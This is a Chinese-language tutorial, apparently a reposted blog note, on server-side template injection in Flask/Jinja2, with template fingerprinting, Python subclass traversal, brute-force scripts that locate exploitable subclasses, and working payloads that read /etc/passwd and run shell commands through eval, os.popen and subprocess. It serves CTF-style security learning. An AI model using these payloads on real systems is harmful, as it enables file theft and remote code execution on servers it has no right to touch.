ssti学习(1)

一、成因:

渲染模板时,没有严格控制对用户的输入。(使用了危险的模板,导致用户可以和flask程序进行交互)

flask是一种基于web开发的web服务器,如果用户可以和flask交互,则可以执行eval、system等函数。

二、后果

可能造成任意文件读取和RCE远程控制后台系统。

三、如何判断对方的模板

常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。

  这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
  绿色箭头是执行成功,红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
  然后回到最初注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。实际做题时也可以把指令都拿去测测看谁能对上。平时做题也可以多搜集不同模板对应的注入语句语法。

四、继承关系

继承:即一个派生类(derived class)继承基类(base class)的字段和方法。继承也允许把一个派生类的对象作为一个基类对象对待。例如,有这样一个设计:一个Dog类型的对象派生自Animal类,这是模拟"是一个(is-a)"关系

在 python 中,类之间是会有继承关系的,也就是派生类(子类)与基类(父类)的关系,这可以理解为父子关系。在这个父子关系中的最高级,就是 object 。也就是说,object 是祖宗类。
一般来说,SSTI 构造 payload 的思想,就是要通过各个数据类型 Numbers(数字)String(字符串)List(列表)Tuple(元组)Dictionary(字典) 这些子类,一直往上找到 object ,然后再通过找 object 类可以利用的子类。可以利用的子类,就是这个子类的方法(popen() eval()等方法)或属性可以利用。

五、魔术方法
在 python 中,魔术方法是一种两边以双下划线 __ 包裹的特殊方法,利用这些方法,我们可以实现类的寻找,初始化对象的成员,以及最后的利用。

常用魔术方法及作用
单下划线、双下划线、头尾双下划线说明:
__foo__: 定义的是特殊方法,一般是系统定义名字 ,类似 __init__() 之类的。
_foo: 以单下划线开头的表示的是 protected 类型的变量,即保护类型只能允许其本身与子类进行访问,不能用于 from module import *
__foo: 双下划线的表示的是私有类型(private)的变量, 只能是允许这个类本身进行访问了。—菜鸟教程 Python 基础教程

__class__ : 以字符串形式返回当前对象所属类
__base__ : 以字符串形式返回当前类的基类
__bases__ : 以元组()形式返回当前类的所有基类
__mro__ : 以元组()形式返回从当前类到 object 类的所有类,顺序为从子类逐级往上。 __mro__[1] 或者 __mro__[-1] 都可以得到 object 类。
__subclasses__() : 以列表[]形式返回当前类的下一级所有子类
__init__ : 构造函数,当类被实例化时可以用它来快捷的初始化一些属性。SSTI 中可以用它获取选定子类的初始化方法。
__globals__ : __globals__在函数后使用,以字典形式返回当前位置的所有全局变量,包括所有导入的变量。当其在 __init__ 后使用时,即获取初始化方法的全局变量字典。这些变量可能是模块、方法、变量。

通过以上魔术方法,再配合一些系统命令,就可以构造出基本的 payload 了。

六、常用注入模块

(靶场、源代码来自橙子工作室)

1、文件读取

关键子类:__frozen__importlib__external.FileLoader
该子类可用于读取系统文件

# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
    # 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    # 爆破测试
    try:
        # post 请求后的响应信息
        response = requests.post(url, data=data)
        # 打印响应信息
        # print(response.text)

        # 当状态码为 200 时,寻找响应信息中是否包含关键子类
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                # 若存在,则打印索引值
                print(i)
    except:
        # 不存在或出现错误,则退出本次循环
        pass

通过该代码检索出__frozen__importlib__external.FileLoader所在的位置

查找并且回显到了__frozen__importlib__external.FileLoader,证明匹配成功。

接着利用 get_data() 函数传入参数0和文件路径,完成注入

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

2、内建函数eval执行命令

(内建函数:python在在执行脚本时自动加载的函数 )

首先要查找什么位置有eval函数

import requests
url = input("请输入 URL:")
for i in range(500):
    # payload 中需要先初始化再列出所有全局变量
    data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "eval" in response.text:
            print(i)

name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']}}

在获取到的数据中任意尝试一个

验证成功

name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

__builtins__: 提供对Python的所有“内置“标识符的直接访问。
eval(): 计算字符串表达式的值。
__import__: 加载 os 模块。
popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。
(popen() 执行命令后没有直接回显,最后加个 .read() 函数读取回显内容

原文参考:SSTI-3 常用模块及利用方法_橙子科技 ssti-CSDN博客

3、os模块执行命令

{{“”.__class__.__bases__[0].__subclasses__()[66].__init__.__globals__[‘os’].popen(“ls”).read()}}

{{“”.__class__.__base__.__subclasses__()[64].__init__.__globals__[‘builtins’][‘eval’]("__import__.(‘os’).popen(‘ls’).read()")}}
                      

4、importlib类执行模块

{{[].__class__.__base__.__subclasses__()[69].["load_module"]("os")[“popen”](‘ls’).read()}}

5、linecache函数执行模块

{{[].__class__.__base__.__subclasses__()[19].__init__.__globals__.linecache.os.popen("ls").read()}}

6、subprocess.Popen类执行命令

{{().__class__.__base__.__subclasses__()[13](“ls”,shell=True,stdout=-1).communicate()[0].strip()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/625822.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

嵌入式学习-通用定时器

简介 框图介绍 时钟选择 计数器部分 输入捕获和输出比较框图 嵌入式学习全文参考(小向是个der)做笔记:https://blog.csdn.net/qq_41954556/article/details/129735708

Runes 生态一周要览 ▣ 2024.5.06-5.12

1、香港「Runes Asia 2024」符文峰会之行圆满结束。 2、BEVM 宣布首次大规模 RUNES 空投现已结束!符文桥即将上线。 3、来自 Book of Blob 的交互式视听信息铭刻了第一个 Epic Sat 在 coinex 上市交易。 4、 Binance Research 发布了对 Runes 的报告。 5、HOPE•…

re--SMC

参考:http://t.csdnimg.cn/g7fUY 参考:http://t.csdnimg.cn/qi3q5 简介 SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代…

嵌入式Linux:编译和使用Protobuf库

目录 1、开发环境和工具 2、安装和编译Protobuf、Protobuf-C库 3、编写和编译proto文件 4、修改makefile文件 5、测试示例 6、参考资料 Protobuf(Protocol Buffers)是由 Google 开发的一种轻量级、高效的结构化数据序列化方式,用于在不同应用…

SSM【Spring SpringMVC Mybatis】——Mybatis(二)

如果对一些基础理论感兴趣可以看这一期👇 SSM【Spring SpringMVC Mybatis】——Mybatis 目录 1、Mybatis中参数传递问题 1.1 单个普通参数 1.2 多个普通参数 1.3 命名参数 1.4 POJO参数 1.5 Map参数 1.6 Collection|List|Array等参数 2、Mybatis参数传递【#与…

单区域OSPF实验

实验目的: 理解OSPF的基本概念。掌握单曲于OSPF的配置掌握OSPF邻居状态的解读掌握通过Cost控制OSPF选路的方法掌握OSPF认证的配置方法 一、基础配置: 搭建实验拓扑图; 配置路由器接口的IP地址以及配置环回地址待后续使用 (1&a…

webjars学习

webjars介绍 官网:WebJars - Web Libraries in Jars github: WebJars GitHub 文档:WebJars - Documentation WebJAR 是一个用于管理Web前端依赖的工具。它允许开发者将特定的客户端库(如JavaScript、CSS等)打包成JAR&#xf…

STL----push,insert,empalce

push_back和emplace_back的区别 #include <iostream> #include <vector>using namespace std; class testDemo { public:testDemo(int n) :num(n) {cout << "构造函数" << endl;}testDemo(const testDemo& other) :num(other.num) {cou…

python的标准数据类型

四、标准数据类型 1、为什么编程语言中要有类型 类型有以下几个重要角色&#xff1a; 对机器而言&#xff0c;类型描述了内存中的电荷是怎么解释的。 对编译器或者解释器而言&#xff0c;类型可以协助确保上面那些电荷、字节在程序的运行中始终如一地被理解。 对程序员而言…

来个大揭秘,有趣的ZIP压缩文件伪加密(附自制演示工具)

网管小贾 / sysadm.cc “太公……太……哎哟……” 员外刚一个转身&#xff0c;与家仆高才撞了个满怀。 员外用手点指&#xff1a;“你你你……你这小厮&#xff0c;跌跌撞撞&#xff0c;成何体统&#xff01;” 高才坐在地上喘气笑脸道&#xff1a;“恭……恭喜……太……太…

使用Pyramid、Mako和PyJade生成 HTML

Pyramid 是一个流行的 Python Web 框架&#xff0c;而 Mako 和 PyJade 是用于模板引擎的工具&#xff0c;它们可以与 Pyramid 配合使用来生成 HTML 内容。但是在实际使用中还是有些差别的&#xff0c;尤其会遇到各种各样的问题&#xff0c;下面我将利用我所学的知识一一为大家解…

03 Linux编程-进程

1、进程的相关概念 1.1 程序与进程 程序是静态的概念&#xff0c;进程是程序的一次运行活动。 1.2 查看系统中有哪些进程 ps #只显示一小部分进程 ps -aux #会打印当前所有进程 ps -aux|grep init #使用grep筛选出只含有init的进程top #运行显示的进程有点类似windows…

张驰咨询:AI与六西格玛——携手共进,非彼此替代

在历史的洪流中&#xff0c;技术与方法的演进如同波澜壮阔的画卷&#xff0c;不断书写着人类文明的篇章。六西格玛&#xff0c;作为一种追求极致品质与效率的方法论&#xff0c;是现代工业文明中的瑰宝。而当我们面对AI&#xff08;人工智能&#xff09;这一新时代的产物时&…

在阿里云服务器上安装MySQL

目录 一、先卸载不需要的环境 1.关闭MySQL服务 2.查看安装包以及卸载安装包 3.依次卸载所有包 4. 获取mysql官⽅yum源 二、安装&#xff08;密钥过期解决方法&#xff09; 三、启动并进入 关于MySQL MySQL是一个广泛使用的开源关系型数据库管理系统&#xff08;RDBMS&…

通过windows远程桌面,远程连接CentOS系统

1.配置阿里云的YUM仓库 1.1 备份当前的YUM仓库配置文件 sudo cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup1.2 下载阿里云的CentOS仓库配置文件 对于CentOS 7&#xff1a; sudo wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirr…

十二生肖Midjourney绘画大挑战:释放你的创意火花

随着AI艺术逐渐进入大众视野&#xff0c;使用Midjourney绘制十二生肖不仅能够激发我们的想象力&#xff0c;还能让我们与传统文化进行一场新式的对话。在这里&#xff0c;我们会逐一提供给你创意满满的绘画提示词&#xff0c;让你的作品别具一格。而且&#xff0c;我们还精选了…

【HR】阿里三板斧--20240514

参考https://blog.csdn.net/haydenwang8287/article/details/113541512 头部三板斧 战略能不能落地、文化能不能得到传承、人才能不能得到保障。 头部三板斧适用的核心场景有三个&#xff1a;一是战略不靠谱&#xff1b;二是组织效率低、不聚心&#xff1b;三是人才跟不上。对…

memset函数

让我们先看两个代码 memset(dp, 0x3f, sizeof(dp)); for (int i 0; i < 5; i)cout << dp[i] << " "; memset(dp, 127, sizeof(dp)); for (int i 0; i < 5; i)cout << dp[i] << " "; 代码结果如下&#xff1a; 现在我们来分…

每日一学—K邻算法:在风险传导中的创新应用与实践价值

文章目录 &#x1f4cb; 前言&#x1f3af; K邻算法的实践意义&#x1f3af; 创新应用与案例分析&#x1f525; 参与方式 &#x1f4cb; 前言 在当今工业领域&#xff0c;图思维方式与图数据技术的应用日益广泛&#xff0c;成为图数据探索、挖掘与应用的坚实基础。本文旨在分享…

C++|多态性与虚函数(1)功能绑定|向上转换类型|虚函数

目录 什么是多态性&#xff1f; 概念 分类 向上类型转换 功能的早绑定和晚绑定 绑定 绑定与多态的联系 编译时多态&#xff08;功能的早绑定&#xff09; 运行时多态&#xff08;功能的晚绑定&#xff09; 一般而言 实现功能晚绑定——虚函数 虚函数定义的说明 什么…